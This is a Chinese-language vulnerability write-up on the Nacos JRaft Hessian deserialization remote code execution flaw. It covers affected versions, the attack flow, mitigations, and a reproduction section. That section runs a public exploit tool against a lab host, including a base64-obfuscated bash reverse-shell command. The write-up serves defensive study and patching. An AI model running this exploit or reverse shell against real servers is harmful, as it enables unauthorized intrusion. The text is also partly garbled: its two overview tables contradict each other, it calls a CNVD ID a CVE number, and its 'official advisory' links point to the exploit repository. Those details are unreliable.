一、漏洞简介¶
1.1 漏洞背景¶
2023年7月,Nacos 被披露存在严重的 Hessian 反序列化漏洞。Nacos 默认的 7848 端口用于处理集群模式下 JRaft 协议通信,在处理部分 JRaft 请求时未对 Hessian 反序列化进行限制,导致远程代码执行。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CNVD-2023-45001 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | JRaft Hessian 反序列化 RCE |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | Nacos |
| 项目 | 内容 |
|---|---|
| CVE 编号 | CNVD-2023-45001 |
| 危害等级 | 严重(Critical) |
| CVSS 评分 | 9.8 |
| 漏洞类型 | Hessian 反序列化 |
| 影响 | 远程代码执行(RCE) |
| 公开日期 | 2023年7月 |
核验说明:原文使用编号 CNVD-2023-45001,但其不符合标准 CVE 格式或暂未在 NVD/CVE 公共记录中确认,文中保留原主题并标注待核验。
二、影响范围¶
2.1 受影响的版本¶
- Nacos 1.4.0 - 1.4.5(使用 cluster 集群模式)
- Nacos 2.0.0 - 2.2.2(任意模式,包括 standalone)
2.2 不受影响的版本¶
- Nacos 1.4.6+
- Nacos 2.2.3+
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Nacos 7848 端口可访问
- Nacos 2.x 默认开放该端口(单机和集群均受影响)
- Nacos 1.x 仅集群模式受影响
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Nacos 集群使用 JRaft 协议进行通信,默认监听 7848 端口。在处理 JRaft 请求时,使用了 Hessian 进行反序列化,但未设置类白名单,导致攻击者可执行任意代码。
攻击流程: 1. 攻击者连接 Nacos 7848 端口 2. 发送特制的 JRaft 请求 3. 服务端使用 Hessian 反序列化 4. 触发 Gadget 链执行任意代码
3.2 端口说明¶
| 端口 | 用途 | Nacos 1.x | Nacos 2.x |
|---|---|---|---|
| 8848 | HTTP API | 开放 | 开放 |
| 9848 | 客户端 gRPC | 不开放 | 开放 |
| 9849 | 服务端 gRPC | 不开放 | 开放 |
| 7848 | JRaft 集群通信 | 仅集群 | 单机+集群 |
3.2 源码层面的根因分析(结合源码与补丁对比)¶
暂未检索到可公开验证的源码补丁信息,无法对根因实现细节作权威复原。
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 使用 Docker 启动 Nacos 2.2.0
docker run -d --name nacos \
-e MODE=standalone \
-p 8848:8848 \
-p 7848:7848 \
nacos/nacos-server:2.2.0
4.2 PoC 演示与测试过程¶
使用开源工具:
# 下载工具
git clone https://github.com/c0olw/NacosRce.git
cd NacosRce
# 执行命令(需要 JDK 1.8)
java -jar NacosRce.jar http://192.168.1.100:8848 7848 "whoami"
反弹 Shell:
java -jar NacosRce.jar http://192.168.1.100:8848 7848 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到 Nacos 2.2.3 或更高版本
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
限制 7848 端口访问:
# 防火墙规则
iptables -A INPUT -p tcp --dport 7848 -j DROP
Docker 不映射 7848 端口:
docker run -d --name nacos \
-p 8848:8848 \
nacos/nacos-server:2.2.2 # 不映射 7848
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://github.com/c0olw/NacosRce.git
- https://github.com/c0olw/NacosRce
6.2 其他技术参考资料¶
- https://github.com/c0olw/NacosRce.git
- http://192.168.1.100:8848
- https://github.com/c0olw/NacosRce
- https://cloud.tencent.com/developer/article/2413544